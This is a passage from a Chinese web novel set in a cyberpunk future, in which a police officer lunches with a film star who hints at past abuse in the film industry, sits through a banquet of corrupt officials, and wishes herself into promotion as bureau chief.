叶枝的头疼消失了，连忙挤上微笑：“有可能。”
进入明珠塔内部，豪华自动门无声合上。
“为什么会觉得她是墨子公会的人？”叶枝想起这个问题。
祝扶桑耐心解释。
“在这个时间段，只有上层人才能进入这片区域，我们不认识她，显然不是名人，不是政府就是墨子公会。”
“为什么不是政府？”
祝扶桑愣了愣：“直觉，气质不像。”
这么说来，确实不像。
那女人的气质太过淡漠梳理，白衬衫如罩白袍般静谧。
两人乘坐悬浮电梯，到达南方明珠最顶层的时代餐厅。
她们刚坐下，厨师就已经备好菜，一道接一道上菜了。
鲍鱼蒸蛋、百合雪梨、蟹油松塔……每道菜的分量都很小，摆盘都很精致。
祝扶桑只夹了点冰草，用筷子尖剔掉上面的沙拉酱，浅浅送上舌尖。
“抱歉，晚上有活动，怕水肿。”然后，她便停筷子了。
叶枝差点都不敢再吃了，在减肥的人前大吃大喝，太罪恶了。
祝扶桑笑道：“没事的，这些菜都是为你准备的。”
叶枝不停瞟着筷子间的松塔，空空如也的胃叫嚣着渴望。
“请放开吃吧，不然就浪费了。”祝扶桑最后再推了她一把。
叶枝便真放开吃了。
不愧是龙港市第一高档的餐厅，落地窗外风景绝美，整个城市尽收眼底，每道菜都好吃到流泪。
叶枝曾经设想过贫富生活的差距，却没想到差距会这么大。
祝扶桑笑眯眯注视她吃下每一口，眉宇间竟能看出一丝慈爱。
“真不知道该怎么报答你，裴溪竹这下没有威胁我的筹码了。”
祝扶桑应该是包场了，整层楼只剩她们这一桌，倒不怕谈话间有什么敏感话题。
叶枝犹豫片刻后：“你不怕她说话不算话吗？”
虽然她仍不知道，那都是什么视频和照片。
祝扶桑歪歪头：“虽然裴总大部分时候不当人，信用还是讲的。”
……
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叶枝并没想明白其中的逻辑。
“希望如此。”叶枝垂下头，怕好奇的眼神过于不礼貌。
“你很好奇吧？”祝扶桑还是察觉到了。
叶枝尴尬地笑笑：“说不好奇是假的，但我无权窥探他人隐私。”
“嗯，确实不是什么光彩的事。”
叶枝忙道：“不不不，她坏，你好。”
祝扶桑噗嗤一声笑出来，好像戳到了什么笑点。
“如果我就是那样的人呢？”
“不会！我相信你。”叶枝说的是真心话。
经过这段时间的相处，她真心为这位国民偶像的人格魅力所折服。
祝扶桑抬眼看向天空，漂亮的桃花眼中映着远方的灯光。
“追星需谨慎哦。”祝扶桑语气接近自嘲。
叶枝并未在意，仍在细细品尝舌尖上的竹荪膏。
祝扶桑淡淡眨了眨眼。
“事实上，跟你想的一样。”
叶枝猛然停住，不可思议地抬起头，与祝扶桑渐渐冷下来的目光对上了。
“我相信警官的人品，跟你聊聊也无妨。”
祝扶桑拿起叠成天鹅样式的纸巾，葱根般纤细的手指在面轻轻划过，指甲留下一道浅浅的痕迹。
叶枝愣住，一时间不知该接什么话。
祝扶桑继续道：“我清楚地记得我干过什么，不用看，就能想象出视频里我有多么不堪入目。”
在浮躁的娱乐圈中有利益交换不丢人，更何况说不定也有爱情因素，演员和导演谈恋爱很正常。
“林芝夏不是和骆导结婚了吗？圈内谈个恋爱挺正常的。”叶枝还在主动找借口。
再怎么主动找借口，也顶不住对面的人一步步拨开肮脏的外皮，主动将血肉展现出来。
“演员没红起来，就没有尊严。”接下来，祝扶桑说出的，更加颠覆了叶枝的认知，“一个大电影的机会，能让你做出任何姿势，塞进任何物品。”
这已经不是暗示了，傻子都能听出来背后的意思。
“而且牵扯的不止一个人。导演也有，制片人也有，男女都有，名字我就不便透露了。”
叶枝震惊许久，筷子索性放到盘子上，久久一动也不敢动。
祝扶桑垂下眼，若有所思：“如果我是个有道德的人，纵使再过十年，你也无法在大银幕上看见我。”
道德……
它的对立面，是什么来着？这些过往会把她变成坏人吗？
叶枝抿嘴，尴尬迟疑道：“也算是造福全人类吧，祝小姐的美貌值得千古留存。”
祝扶桑嘴角勾起苦涩之意。
“这个社会很奇怪，看似有上升的通道，实则全被堵得严严实实。”
“是这样吗？”叶枝不敢妄下结论，毕竟她才来了两年。
祝扶桑点头：“如果一个人生来是牛马，努力工作二十年只能晋升成强力牛马，是永远无法变成人的。”
叶枝再也吃不下去饭了，这让她想到一些原世界的事，以及近两年在这个时代所见证的事。
“对不起。”叶枝既很抱歉听到这些，又很抱歉对方经历过这些。
“我必须要有很多钱，有足够的地位，我别无选择，因为我有三个姐姐，一个弟弟。”
叶枝从未听说过这些。
网络上，祝扶桑十八岁前的过往紧紧隐藏，没有任何粉丝知道大明星来自什么样的家庭。
“所以，祝扶桑是我后来改的名字，原名你大概能猜到。”
“祝招娣？”叶枝脱口而出。
“差不多。”祝扶桑露出赏识的目光。
没想到一千年过去了，残留的封建糟粕还是未消失殆尽。
就和上下分明的职场氛围，表面光鲜亮丽、实则破败的亭台楼阁与抄手游廊一样。
祝扶桑看向落地窗外的景色。
放眼望去，红砖翠瓦浮在高楼大厦之间，繁体汉字的招牌与流光溢彩的电子屏交相辉映。
不光F区和D区之间界限分明，每个不同档次的区域边界，光是檐角翘起的弧度，都有所不同。
祝扶桑目光悠远，思绪仿佛回到多年前。
“就算我不主动利用我的美貌，它也终究会被恶人毫无意义地吞噬掉，还不如‘好风凭借力，送我上青云’。”
说着说着，她咬住下唇，管服务员要来一瓶白葡萄酒。
那是意大利知名品牌的百年陈酿，木塞一启，浓郁的酒香便溢满空气。
无人驾驶全面接管赛博时代，叶枝不用担心酒驾问题，便也陪她喝起酒来。
叶枝尝试用轻松的调侃，化解些许空期间的沉闷：“其实很伟大，忍辱负重只待日后发迹，当代勾践典范。”
祝扶桑没有回答。
“不吃人，就会被吃。”叶枝轻抿一口，带着唇齿间的酒气喃喃自语。
祝扶桑长叹一口气：“其实你也不用仇恨裴溪竹，她也有她的难言之隐。”
叶枝很难想象，如此呼风唤雨叱咤风云的苍渊城首富会遇到什么困难。
“我知道她的故事，她也知道我的故事。我们都同意，我们都会下地狱。”
叶枝这才浅浅梳理出她们之间的复杂关系。
是宿敌。
也是惺惺相惜的故人。
“你们不会下地狱的。”叶枝感觉嗓子有些沙哑，她真的不知道该说什么。
祝扶桑脸颊的桃粉色漫上眼角，她的酒量貌似很差，很难想象曾经的她是如何在酒桌上生存下来的。
“可如果我们死后不去地狱，现在就会在地狱。”
窗外的阳光有些醉了。
叶枝当然知道她指的是什么，她见过两个世界里的无数疾苦。
世界变成毫无意义的彩头，只剩下酒面上浮起的微小泡沫。
叶枝小酌三杯，和餐桌对面的人一起。
不知是不是幻觉，她竟在祝扶桑眼角捕捉到了晶莹的泪光。
21.酒局
叶枝回到警卫司，下属们都围了上来，七嘴八舌投出问题。
他们的老大和祝扶桑共进午餐了，四舍五入，他们也祝扶桑共进午餐了。
小刘最为殷切，不停追问细节，都快贴到叶枝身上了，被她无奈推开，警告保持距离。
午休即将结束，大家好奇的热情根本停不下来。
“女神的牙是不是特别白？”
“桑桑身上是什么香水啊，那么好闻？”
“有传言说她要拍《海上程序员2》，是真的吗？”
……
叶枝竟不知道该从哪个问题开始回答，而且大部分她并不知道答案。
她们聊的内容，和这一切都无关，也绝对无法说出。
渐渐的，画风逐渐突变。
“她真的是真人吗？”
“祝扶桑真的会吃人间的饭吗？”
“她需要靠喝水维持生命吗？”
叶枝哑然失笑。
她想起她那个年代，对美女的最高夸赞，就是长得像从不会拉屎的样子。
竟有异曲同工之妙。
叶枝看一眼时钟，拍拍手：“好了好了，午休时间到，各回各位！”
平时打闹归大脑，她的号召力永远在，下属们立刻四散奔向工作。
叶枝活动活动僵硬的肩膀，泡一杯醒酒茶。她酒量也不行，和祝扶桑半斤八两，没两杯就有些燥热了。
好了，希望下午的工作也保持宁静与和平。
她心里这么想着，没走两步，就事与愿违。
一对男女气鼓鼓冲进警卫司，间隔很远，气氛焦灼梳理，旁观者却一眼就能看穿他们不是情侣就是夫妻。
第六感立刻告诉她，和平一去不复反了。
男人大吼：“离婚！离婚！”
女人也吼：“离就离，你根本不爱我！”
叶枝倒挺欣慰，至少没有指责对方是伪人，这怎么不算一种进步呢？
曲寻雁刚刚步入职场，尚处于兴奋期，见到来活了，立刻迎上去。
“两位怎么了？”
男人见迎面走来年轻可爱的小姑娘，不可置信了一瞬，低头看到她的警徽警服，才放下心来。
他直接告状：“我给她转了520塔隆铢，她凭什么不给我转1314？”
叶枝：？
女人不甘示弱：“你向我表达爱意，我也向你表达了呀！我给你转了131块4啊，怎么就不是一生一世了？”
优秀的匹配机制。
“你就是不爱我，处处算计，就想比我少花钱！”
“爱能用金钱衡量？”
男人噎住，眼睛眨得飞快，估摸是在思考如何反驳这话。
叶枝和曲寻雁对视：……
女人也有满肚子委屈，转向曲寻雁和叶枝控诉：“我还给他买了秋天第一杯奶茶，他凭什么不请我吃冬天第一只澳洲龙虾？”
叶枝：……
曲寻雁：……
男人毫不心虚：“奶茶和龙虾又不对仗！给你买瓶料酒不行吗？”
旗鼓相当的对手。
“‘奶’和‘料’哪配了？”女人横眉怒竖。
“有奶就有料。”男人眉毛高挑。
“……”
叶枝很想按公共场合开黄腔给予他民事处罚，却没有证据。
这时，辅警小刘发挥绅士风度，将他刚买的奶茶递给女人：“小姐姐别生气，我请你喝奶茶。”
女人铁青着脸，从他手上接过，看一眼上面贴着的标签：“什么？全糖？我才不喝！”
小刘尴尬微笑，里外不是人。
男人反而火上浇油：“死肥婆挑三拣四，奶茶非要喝无糖，小蛋糕吃得倒挺溜！”
“你！”女人差点就要一巴掌呼上来。
对于民事纠纷，警卫司不得拒绝调解，因为上面有明确的规定。
而且必须全程微笑服务，不然影响绩效评估。
叶枝深吸一口气，主动挡在两人之间，脸上挂起职业假笑。
“我知道两位都在气头上，说的都是气话，别走心！”
女人瞬间炸毛：“什么走不走心的！心里根本就是这么想的，白眼狼！！”
她气极了，掀开手中的奶茶盖，直接朝男人脸上泼去。
哗啦啦！
然而下一秒，奶茶没有如愿浇到男人脸上，倒也不是男人躲得快，纯属女人泼歪了。
众人倒吸一口冷气。
因为被浇了满头的，是挡在中间的叶枝。
只见温热的焦糖奶茶沿着叶枝的头发，缓缓下流，直滴到她警服的肩章上。
叶枝：“……”
叮，今日份人间疾苦已到账。
男人和女人吓得够呛，这四舍五入等于袭警了。
“叶组长！”小刘下巴差点掉地。
曲寻雁慌忙去收集餐巾纸和毛巾。
男人和女人更傻了眼，他们袭还是个警务组长！
“没有过不去的坎，”叶枝用手背抹去脸颊的奶茶，心平气和，“你们看，在奶茶泼我身上时，你们不约而同地握住了彼此的手。”
其实她内心想的是，你们俩抠门程度和脑回路旗鼓相当，建议锁死。
男人和女人望向彼此，眼中的戾气确实消退不少。
咔嚓！
只听有人在旁边拍了张照。
叶枝没好气地循声看去，只见佟局长举着信环，将刚才的场景拍了下来。
叶枝：“？”
佟局长竖起大拇指，笑得天真无邪：“下周的龙港日报想报道咱司，这张照片刚好当配图。”
“报道？用这张图吗？”叶枝脸颊抽搐。
佟局长不假思索，左手也竖起大拇指：“《D区职能警奋不顾身挡下奶茶，甜香中展现执法温度》。”
叶枝：“……”
佟局长不愧是新闻学出身。
小刘他们鼓起掌来，也不知是拍马屁，还是真觉得不错。
曲寻雁递来纸巾和毛巾。
叶枝接过来，简单擦擦头发，准备去淋浴间冲澡。
佟局长就等在淋浴间外面。
“佟局好。”叶枝经过她时，下意识脚步加速。
佟局长并无离去之意。
“小叶，晚上早点下班，跟我去地下国台聚个餐。”
“欸？”叶枝愣住。
今天是什么特殊日子吗，到处都在请客吃饭。
“上次你立了大功，高层说什么也要亲眼见见你，”佟局长笑嘻嘻的，“刚好美言几句，给咱警卫司多争取点来年的公费。”
“没问题。”叶枝爽快答应。
叶枝喜欢参加公费聚餐，她执法消耗量大，正好白嫖些好吃的安抚疲惫的胃。
而且，那可是地下国台！官僚特供的高档餐厅，只有政府磋商与官方会谈，才会选址到这里。
不用说，菜品只会比中午的好。
*
地下国台正如其名，位于龙港A区地下，入口没有任何标识，低调地隐没在别墅区的最深处。
因为在这里聚餐的都是大人物，游走在各党派之间，积下过不少仇恨，稍不留神就会遭到暗杀。
叶枝见到不少只在新闻中出现的人物，其中就包括龙港总局局长甄成功，塔隆联合会副会长阮林楚。
人如其名，甄成功确实混得很成功。
十来个中年男女面带笑容，气氛却焦灼而严肃。
在这种地方，没人敢说话不经大脑。
不过，在场的不全是真人，最为引人注目的是，其中还有个全息投影人。
在电子赛博时代，无法亲身到场的人为表诚意，可以远程投影过来，除了不能吃饭，其它方面跟真人一模一样。
而在高层酒桌上，吃饭是最不重要的事情了。
那人身罩黑袍，戴着张夸张的脸谱面具，脸谱样式古朴却透露着诡异，眉心用水墨点个小篆的“巨”字。
非常经典的装束。
大家一眼就能看出，这人是墨子工会的高层。
当今执政党塔隆联合会的副会长地位最重，阮林楚坐在酒席主位，也自然由他开场。
“各位好，欢迎莅临本次聚会。”
酒桌前仍是一片寂静。
没有人鼓掌，只用微笑回应。
阮林楚先从全息投影人开始介绍。
“这位是巨门星。”
叶枝大吃一惊，原来是星字辈！
那课是君字辈的上级领导，在墨子工会内部，可谓一人之下万人之上。
除了最高领袖“墨翟”，工会内最有权的就是“北斗七星”的星字辈。
全息投影人微微鞠了一躬，从座位上站起的动作都能复刻原主。
巨门星致歉道：“各位也知道墨子工会的规矩，很遗憾不能亲自到场，心意送给各位。”
他的声音经消音器处理，和上次见到的尾火君一样，别说身份了，连是男是女都看不出来。
不过，叶枝能从用词和语气大致判断出，巨门星应该是男性。
“这位是大道学社的东洋社书记，洛闻人。我们也理解，西洋社刚愎自用，这些场合不屑于出席。”
“这位是龙港总局的局长谭檀香。”
……
十几个名字在脑内打架，倒也没打多久，因为大部分人叶枝都在新闻上见过。
最后，阮林楚的目光才来到叶枝身上。
她这个无名小卒根本排不上号，最后介绍合情合理。
“这是近两年表现最好的职能警，下周《龙港日报》的道德模范。”
佟局长最先露出微笑。
桌边有几人露出了不经意的轻蔑。
叶枝并不在乎，她学着所有人的样子，冲在座的各位鞠一躬。
菜夹着夹着，随着几坛酒上桌，众高管也逐渐打开话匣子。
“呦，这茅台很贵吧？”钱局长惊叹。
叶枝瞪大眼睛，这名字也太熟了。
没想到一千年过去了，茅台还是风靡领导的酒桌。
“嗨，我怎么知道。”阮林楚打个哈哈。
言下之意却带些尖锐。
钱局长自罚一杯：“哎呦，瞧我这问题，问的真没水平！”
“喝茅台的不买，买茅台的不喝嘛。”
总结得非常精辟，也非常讽刺。
酒桌间的氛围，让叶枝想起了罪域天界俱乐部。
一样纸醉金迷，一样充满虚伪、欺骗和利益纠葛。
如此一顿酒席，对话整个D区的一个月税。
酒桌上，也免不了暗戳戳的抱怨，毕竟吃范围后，政治会谈在先。
东洋社社长洛闻人笑得很不痛快：“众所周知，现在是墨子公会垄断伪人研究，这点难免对于我们不太公平。”
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>叶枝也一直心存疑问。
塔隆民主联合会才是当今的执政党，对于伪人的研究事关国家命脉，为什么会拱手让给墨子工会？
阮林楚仿佛没有理解一般，温和地笑问：“哦？洛社长觉得哪里不公平？”
“我主要是替塔联鸣不平，您们作为执政党，最有调动社会各层的实力，若由塔联接管伪人研究相关事宜，进步一定更神速。”
……
光听语气，叶枝已经汗流浃背，她完全不知道，这群人真正的意图是什么。
所有人都居心叵测，可怕的官场。
警卫司的人大多插不上什么话，又刚好都坐在西南角，开始互相聊天。
几杯酒下肚，该红脸的红脸，该聒噪的聒噪。
无人再在意说话的顺序，与新组成的聊天圈。
更无人在意无关的小喽罗，逐渐口无遮拦，只把叶枝听得心惊胆战。
几只警卫司老狐狸喝醉了，无聊了，并开始将目光投向可以取乐的宠物。
甄成功局长看向叶枝。
“叶枝，你这工作能力，早该晋升成局长了。”
叶枝仍在专注吃饭，忽然听到局长叫她，忙咽下口中的蟹肉。
“哪有哪有，您夸张了。”她当然要保持谦虚。
佟局长有些不自在，讪讪笑了两下：“毕竟资历少，还有很大进步空间。”
甄成功无视了她，一幅不看热闹不罢休的模样。
“我们去年就想调你到中央了，但是吧，牛局说什么也不让你走，你真是个宝贝啊。”
叶枝完全不知道这事。
她知道中央总局的含金量，知道总局警察的高福利高待遇——唯独不知道她曾有过这个机会。
佟局长笑道：“哎，她办事毛手毛脚的，怕捅娄子啊。”
叶枝一惊，困惑地望向佟局长，不明白这些话从何而来。如果说她不靠谱，那就没有靠谱的人了。
更何况这两年来，80%的伪人侦破案件都是拜她所赐。
更别提她还是块砖，哪里需要哪里搬，还要去H区救火。
在对视的一刻，她感到毛骨悚然。
佟局长的目光充满攫取与囚禁的目光，无疑视人如棋子。
原来她一直如此，只想留住这块肥肉罢了。
再后来，叶枝没什么印象了。
她只记得烟酒交织的气息腐败奢靡，掐断下层对上层的最后一丝念想，丑恶百态重现在千年后。
回家路上，叶枝感觉很冷。
她有些迷茫地抬起头，想起在原世界，也曾衣着单薄地在街上走过。
其实她对这个世界并没有太多感情，在这个世界成功与否，也同样无关。
叶枝只是想到了更多。
时空交叠，迷茫先变成难过，难过又变成委屈，最后燃成心头幽静的火。
跨越千年的场景，如此似曾相识，不公又何曾离开过平民百姓。
叶枝记得，她二十岁生日时曾许愿，希望这个世界未来对芸芸众生更好些。
叶枝希望这个时代并不是未来，就是平行时空的一种可能性 ，而她碰巧路过这里。
又一阵冷风吹过。
叶枝抽离情绪，掏出胸前口袋里的七面骰。
它无论装在哪里，都像紧贴身体一般，无形的根融在血肉之中。
她有了下一个愿望。
*
叶枝回到俱乐部，直奔柜台后的O先生。
“晚上好，我可以帮您点什么吗？”他照常行了个脱帽礼。
“我要兑换愿望。”
“我想让所有贪官落马。”
O先生的眼珠飞速转动。
“很遗憾，您的积点不足以兑现。”
“需要多少？”
“这个愿望违反了因果律，”O先生的合成机械音竟透出笑意，令人毛骨悚然，“属于最高级别的愿望，也是五万。”
违反了因果律——多么讽刺！
叶枝鼻子一酸，仿佛石头堵在心脏，又仿佛荆棘缠在喉咙。
“我对此感到抱歉，但是，您不妨加入因果律。”
“你什么意思？”
“成为一个贪官。”O先生诚恳地建议道。
……
叶枝垂下头，俱乐部灰暗的悬浮地板竟有了真实感。
“您还有什么其它愿望想兑现吗？”
但从另一个角度看，权力越大，选择的余地也越大，能干的事情也越多。
“我想当D区警卫司总局长，前提是不伤害佟新兰性命。”叶枝特意加了后半句，毕竟牛局长的暴死堪称心理阴影。
O先生点头：“死其他人可以接受吗？”
不愧是俱乐部的人，钻漏洞大王。
“也不要，你报个价吧。”守财不如生财，下次赢回来就好。
风扇运转，猫头鹰开启推演。
那双琥珀色的眼睛仿佛在宇宙中唤醒一圈，才回到俱乐部里。
“您的愿望是2500积点。请再次确认，是否兑换？”
“确认。”叶枝斩钉截铁。
换算下来一个局长之位，才价值十五万塔隆铢吗？又难道，金钱和权利不能互相换算？
O先生摊开手，叶枝头顶的积点减少相应数字，变成一圈光粒，从O先生的手掌上散到空中。
“那么，提前恭喜您晋升为局长。”
22.叶局长驾到
一夜无眠。
叶枝已经很久没失眠过了，她尤其没在看不到星星的世界里整夜清醒过。
她不明白，为什么会兑换这个愿望。
这个行为很陌生，不知从何时而起，她竟如此在乎这个世界。
难道潜意识中，她已经放弃挣扎回到原世界了？
天边泛起微光。
叶枝精神持续恍惚，陷入无比真实的幻觉中。
她确信自己没做梦。
她确信能控制自我的意识。
叶枝闭上眼睛，看到一片绚烂的荒芜。
到处都是镜子，漫山遍野都是鲜红的花朵。
镜子对上镜子，整个空间无限扭曲，切分成碎片，如蒙太奇覆盖的马赛克。
祝扶桑化作一片苍白的叶子，落到地上，掀起一阵霜。
裴溪竹扔下油纸伞，跳起来，打横接住她。
伞上的翠竹铺到花海中，绿色在红色中很是刺眼。
绣龙之扇在空中画了个圈后，也翩翩落下，血光落得很安静。
裴溪竹怀里的祝扶桑被黑雾缠绕，来自四面八方的尖刺，穿透她的身躯。
昔日光鲜亮丽的大明星，此刻似一件破碎的瓷器，在扭曲的空间中腐烂。
叶枝立刻惊醒。
她全身已沁满汗水，幻觉中每一帧都如此身临其境。
为什么总会梦见这些人死去？
真奇怪，她不讨厌莫冬青，更不讨厌祝扶桑，没理由在梦里虐杀她们。
叶枝看向窗外，黎明和落日同样冰冷。
*
罪域天阶神通广大。
叶枝上午来到警局时，佟局长正在收拾东西，准备搬出D区警卫司。
现在甚至不到七点，佟局长从未在这个时间点出现在警卫司过。
毕竟，局长不用打卡上班。
叶枝尚只知道一半真相，还是上前问：“佟局长，您要去哪儿？”
佟局长没停下收拾：“没看群？”
叶枝想起早上洗漱时信环曾震动过，只是当时沉浸于离谱的幻觉，忘记查看消息了。
“抱歉，早上匆忙，忘看了，。”叶枝忙道歉。
佟局长喜气洋洋，并不在意：“升职了，升职了，我要去中央了！”
“升职？恭喜您！”叶枝瞪大眼睛。
佟局长显然太得意了，都不等她问，自顾自地主动解释起来。
“我领导的这段时间绩效不错，上次不是吃饭嘛，也抓紧机会跟甄局长汇报一下，甄局长特别满意，就把我调过去了。”
……
叶枝这才发觉，那2500积点实则变相替佟局长买了个官。
也说不清该归根结底是巧合，还是积点神力，或许佟局长本就该升官了。
“看来上次聊得不错。”
“是，甄局长也是我的老交好了。”
综上所述，两次积点兑换的最大赢家可谓佟新兰。
不过，叶枝也心服口服。
某种程度上来说，佟局长天生属于官场，在那待得挺自在的，酒量也好，一斤茅台不在话下。
“那您走之后……”
佟局长微笑着注视她，语重心长：“咱D区警卫司以后就交给你了，叶局长。”
她着重强调了最后三个字。
看着她的表情，叶枝有种不好的预感，说来也是D区全是底层人民，纠纷多油水少。
当然，叶枝也并不在乎油水就是了，从平民百姓身上捞好处，禽兽不如。
“好了，叶局长，拜拜！”
佟局长显然等不及了，收拾得很兴奋也很匆忙，工位上留了一堆东西，包括没拆封的高档普洱毛尖。
“局长再见。”叶枝最后送别了她。
不管怎么说，从今以后叶枝就是老大，做决定不再受制于他人。
八点一过，其他属下们陆陆续续卡着点来上班，值夜班的警卫们消失得很快。
下属们直奔他们敬爱的叶组长，开始恭喜恭喜。
尤其是叶组长保护协会的头子，也就是曲寻雁，简直乐坏了。
“太好了是叶局长，我们有救了！”曲寻雁欢呼。
这个句式像极原世界的某个梗，还好是在这个时代，不然一定是在阴阳怪气。
“叶局长果真大富大贵了，勿相忘啊！”辅警小刘笑道。
叶枝一一接受他们的祝贺，简单安排好今天的工作后，便去搬办公室了。
曲寻雁今天又带了Lava家的咖啡，这一次叶枝可不敢收了。
从局长开始，公务职级发生了根本变化，一举一动都要更加小心，随时都有可能被举报。
比如这杯咖啡。
其实下属为领导买咖啡没什么，奈何曲寻雁作为总局千金，对物价没有概念，天天送七十多一杯的咖啡，堪比金子做的。
一杯咖啡可以是办公用品，但七十多块的咖啡，便扭曲成贿赂的礼品了。
“不用给我买咖啡，我现在是局长了，有专属咖啡机，你喝吧。”叶枝用体贴的方式拒绝。
“专门为您买的！”曲寻雁满脸崇拜，毫不退让。
“真不用，你喝吧。”
曲寻雁眨眼，满脸委屈巴巴。
“乖。”
曲寻雁继续委屈巴巴。
唉，培训生有什么坏心思呢？
更何况现在还不到九点，她还没作为局长正式上班，可以以组长的身份收咖啡。
“谢谢，明天就不要买了。”叶枝接过。
曲寻雁肉眼可见的又变开心了，她的快乐就是这么朴实无华。
不知今天是什么口味的咖啡呢？
叶枝花半天时间，将工位转移后，根据现有的组织架构，任命左思楠为原小组的组长。
然后，她打开信环上的工作台，打算整理本月工作安排，提前熟悉汇报关系。
人工智能时代效率很高，一夜之间，她的工作台就变成了局长模式。
叶枝在梳理工作台时，发现了一件未处理的报案。
叶枝先注意到它，是因为报案者的名字很特殊：
【梅探雪】
很有画面感的名字，冰天雪地中一枝梅花探出枝条，意境也美。
报案内容也很有意思：
【寒山郡出现量场异常，民不聊生，疑似存在伪人新的表现形式。】
新的表现形式？
这是指什么？
然而叶枝翻遍了案宗记录，也没能找到后续说明。
有所记载，佟局长派重案二组实地考察过，然而并未发现异常，报案也就不了了之。
其实当时，叶枝也存疑过。
她并不是盲目自信，比如不相信他人的能力，而是重案二组并非伪人侦查专长，很可能忽略一些细节。
叶枝连接通讯台，查询冥示仪的实时报告。
寒山郡一带确实风平浪静。
她切身感受到当局长的难处了。
局长上面还有处长，一官套一官，上级无穷尽；只要权力没到顶峰，就永远有无奈之处。
冥示仪没有探测出负元子，就无法擅自出警。
一旦擅自出警，就会系统被判定为恶意浪费警力，很可能会扣上腐败的帽子。
诚然，这能避免某些腐败情况。
比如牛局长想叫大家周末去他家刷墙，顺便帮他老婆看孩子，无奈没有调动权限，大家可贵的周末才因此保全。
佟局长最在意头上的乌纱帽当然不敢擅自出警。
叶枝扪心自问，她是否会出，也要画个问号。
毕竟冥示仪精度不行，准度出错的概率很小，一切要以冥示仪为准。
叶枝浏览剩余案宗，静心思索着那桩报案。
她不明白，为什么要如此在意。
梅探雪……
梅探雪……
梅探雪……
叶枝唇齿间默念这名字，愈发有种奇怪的熟悉感。
于是，她在警务查询系统中，查找起这个人的信息。
刚看到系统内的照片，叶枝就全身一震。
这不是那个出现在南方明珠前的女人吗！<
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p>尤其是那双深眼窝内的绿色眼睛，尽管在一寸照片里，也倍显神秘，一看就不是纯血中原人。
叶枝皱起眉头，她不知道女人那天出现在南方明珠前，会不会和此案有所关联。
临近午休，大厅内又传来骚动。
荣升局长后，破事彻底转移到新组长那里了。
叶枝仍为这位名叫梅探雪的女人所困扰，沉浸自我的世界中。
直到——
“叶局长，门外有人找您！”曲寻雁门都没顾上敲，看样子很急。
叶枝便赶快跟她出去查看情况。
最近忙得离谱，真是没有一天能消停。
又是开幕雷击。
一辆顶配豪车法拉鲤停到警卫司门口，比上次祝扶桑的麦八鹤还要贵上一个档次。
就算不了解豪车，也能感觉出这是名牌，鲤鱼比仙鹤还高级，锦鲤是运气的化身，才是龙港信仰的王道。
恰逢又值午休时间，全警卫司都来围观了。
尤其是D区的警察们，可能一辈子都不会见到这样一辆法拉鲤。
叶枝第一反应是，自己不会犯了什么事吧，非富即贵的人突然来D区找事。
自动车门缓缓拉开。
里面的人走出后，叶枝更觉得不妙了。
只见裴溪竹按着旗袍下摆，优雅地走出来，脸上挂着高深莫测的微笑。
“恭喜叶局长。”
叶枝并不想被她恭喜。
联想到曾在俱乐部赢了她一万六，更感觉今日再劫难逃。
在俱乐部积点至上，她们还能众生平等，在现实怎么可能！
裴溪竹坐拥千亿资产，捏死个塔隆联合会的官员都绰绰有余！
裴溪竹手握一柄油纸伞，伞面和名字遥相呼应，上画用古典水墨风铺满青翠的竹林。
那柄伞样式奇特，设计巧妙，合起来时充当一把拐杖，撑开时想必又能挡太阳和雨。
叶枝硬着头皮迎上去。
“欢迎裴总大驾光临，您的祝贺我收到了，万分感谢。”
言下之意是，明白了您赶紧走吧走好不送谢谢。
全警卫司的人一听这姓氏，掀起了第二波窃窃私语。
“裴总？不会是……”
“我了个波波大跳糖啊，裴溪竹啊！裴溪竹！”
“我去！真是她啊！他找我们头儿干什么？”
……
裴溪竹上前两步，在叶枝面前站定。
叶枝保持职业假笑，表面倒没有露怯。
裴溪竹总化淡紫色眼影，配上她的眼型，让她那眼睛像极了朵漂亮的桃花。
“走，跟我吃饭去。”裴溪竹命令。
叶枝：“？”
虽然这命令式的语气，很符合对霸总的刻板印象就是了。
裴溪竹见她半天没回应：“怎么，都升上局长了，假都舍不得请？”
“我可不敢让裴总请吃饭！”叶枝摆手。
就怕吃着吃着，变成吃席了！
裴溪竹不爽：“那你怎么答应和祝扶桑吃饭？”
叶枝和她大眼瞪小眼，这是什么新型的醋意产生方式吗？
“因为她是我朋友。”合理吧？合理。
裴溪竹眯起眼睛。
叶枝汗流浃背：“而且昨天我聚了两次餐，吃上火了，嘴里都长溃疡了。”
“那我们吃点清淡的。”裴溪竹不依不饶。
“而且我午休没那么多时间，今天工作太忙。”
“你质疑我的效率？”裴溪竹皱眉。
围观的人越来越多，裴溪竹这种自大狂当然没什么，叶枝却很不适应。
“我跟你走。”叶枝知道，这是真的在劫难逃了。
裴溪竹很满意，送她上了车。
大家目送法拉鲤绝尘而去，互相对视，目瞪口呆。
小王震惊：“不愧是叶组……呸，叶局长，人脉太广了。”
没人能想通，叶枝是怎么认识这些大人物的。
曲寻雁点头赞叹：“黑白通吃，果然我叶姐才是真正的老大。”
23.总裁与三鲜面
叶枝坐在那辆法拉鲤中，靠着柔软的真皮坐垫，本僵硬的肩膀放松了些许。
顶级的豪车，奢华的享受。
如果身边没不是坐着个裴溪竹，她能更放松。
叶枝兜里揣着激光刃柄，以应对随时都有可能出现的打击报复。
“我报复你干什么？闲的？”裴溪竹看都没看她，就戳穿了她的心思。
叶枝未免尴尬：“那为什么要请我吃饭？”
裴溪竹这才缓缓转头，上下打量起这位新上任的局长。
“你脑子不错，要不要来WorldBrain做事？年薪随你开。”
原来是挖墙脚来了。
叶枝大跌眼镜，虽然她不戴眼镜。
“不，我要当公务员。”叶枝半调侃式地回绝了。
她表示，她妈妈是山东人，她流淌着山东血脉。
“你不像贪污腐败的料，你信不信，一辈子都赚不到我这儿一年的薪水。”裴溪竹冷笑。
裴总说得对，但是……
叶枝点头：“你说得对，但是我有一万二的积点。”
完美的逻辑，并完美地戳到痛楚。
“……”裴溪竹又想杀人了。
糟了，人身安全又不保了。
叶枝更不敢赴宴了。
所有高档餐厅的包间，墙壁都由隔音材料建造而成，被分尸了都悄无声息。
裴溪竹深呼吸好几口气，才恢复平静，握那柄油纸伞的手握得更紧了。
叶枝垂眼扫视，立刻就发现了端倪。
这柄油纸伞看着漂亮，实则也是把武器！堪比莫冬青那把绣龙之扇！
伞头有许多细密的小孔，持伞人做出特定操作，能射出百根银针，很可能还涂有毒药。
叶枝太阳穴爆出冷汗。
这年头，就连都总裁都要去少林寺进修吗？
眼看法拉鲤在专车大道上飞驰，前排的电子导航屏上，她们离目的地越来越近。
裴溪竹眼睛微闭，似在冥想，也似是午后的困倦。
忽然，叶枝灵机一动：“为表歉意，我请裴总吃饭吧。”
